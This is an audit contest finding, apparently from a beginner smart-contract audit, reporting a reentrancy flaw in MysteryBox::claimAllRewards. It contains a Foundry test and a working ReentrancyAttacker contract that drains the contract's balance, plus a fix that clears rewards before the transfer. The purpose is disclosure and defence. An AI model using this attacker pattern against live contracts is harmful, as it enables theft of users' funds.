Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `MysteryBox::claimAllRewards` function could lead to draining all the funds from the contract

codedesignz

Description: In MysteryBox::claimAllRewards function, there is a reentrancy vulnerability which can be exploited by a bad actor.

Impact: MysteryBox contract can end up losing all the funds if this vulnerability is exploited.

Proof of Concept:

  1. Attacker buys a Mystery box via an attack contract.

  2. Attacker claims the mystery box and manages to score a reward with non zero ETH.

  3. Attacker calls MysteryBox::claimAllRewards from their attack contract, draining the contract balance.

Proof of Code

For the sake of demonstraction, set the Coal reward value in the MysteryBox::constructor and MysteryBox::openBox function to 0.1 ether

Code

Place the folowing into TestMysteryBox.t.sol

function testReentrancyclaimAllRewards() public {
// 25 users purchase mystery box
for (uint160 i = 0; i < 25; i++) {
address user = address(i);
vm.startPrank(user);
vm.deal(user, 0.1 ether);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
vm.stopPrank();
}
​
ReentrancyAttacker attackerContract = new ReentrancyAttacker(mysteryBox, mysteryBox.boxPrice());
// Attack user
address attacker = makeAddr("attacker");
​
uint256 attackerContractBalanceBeforeAttack = address(attackerContract).balance;
console2.log("attackerContractBalanceBeforeAttack :", attackerContractBalanceBeforeAttack);
uint256 mysteryBoxContractBalanceBeforeAttack = address(mysteryBox).balance;
console2.log("mysteryBoxContractBalanceBeforeAttack :", mysteryBoxContractBalanceBeforeAttack);
​
// Initiate Attack
vm.deal(attacker, 0.1 ether);
vm.prank(attacker);
attackerContract.attack{value: 0.1 ether}();
​
uint256 attackerContractBalanceAfterAttack = address(attackerContract).balance;
console2.log("attackerContractBalanceAfterAttack :", attackerContractBalanceAfterAttack);
uint256 mysteryBoxContractBalanceAfterAttack = address(mysteryBox).balance;
console2.log("mysteryBoxContractBalanceAfterAttack :", mysteryBoxContractBalanceAfterAttack);
​
assertEq(mysteryBoxContractBalanceAfterAttack, 0);
// Attacker gets all the balance of the mysterybox contract + 0.1 ether that it used to purchase a box.
assertEq(attackerContractBalanceAfterAttack, mysteryBoxContractBalanceBeforeAttack + 0.1 ether);
}

And this contract as well.

contract ReentrancyAttacker {
MysteryBox mysteryBox;
uint256 boxPrice;
​
constructor(MysteryBox _mysteryBox, uint256 _boxPrice) {
mysteryBox = _mysteryBox;
boxPrice = _boxPrice;
}
​
function attack() external payable {
// vm.deal(address(this), 0.1 ether);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
mysteryBox.claimAllRewards();
}
​
function _stealMoney() internal {
if (address(mysteryBox).balance >= boxPrice) {
mysteryBox.claimAllRewards();
}
}
​
fallback() external payable {
_stealMoney();
}
​
receive() external payable {
_stealMoney();
}
}
​

Recommended Mitigation: Update the state of MysteryBox::rewardsOwned variable before initiating the external call to transfer funds

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
console2.log("Reward in total", totalValue);
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!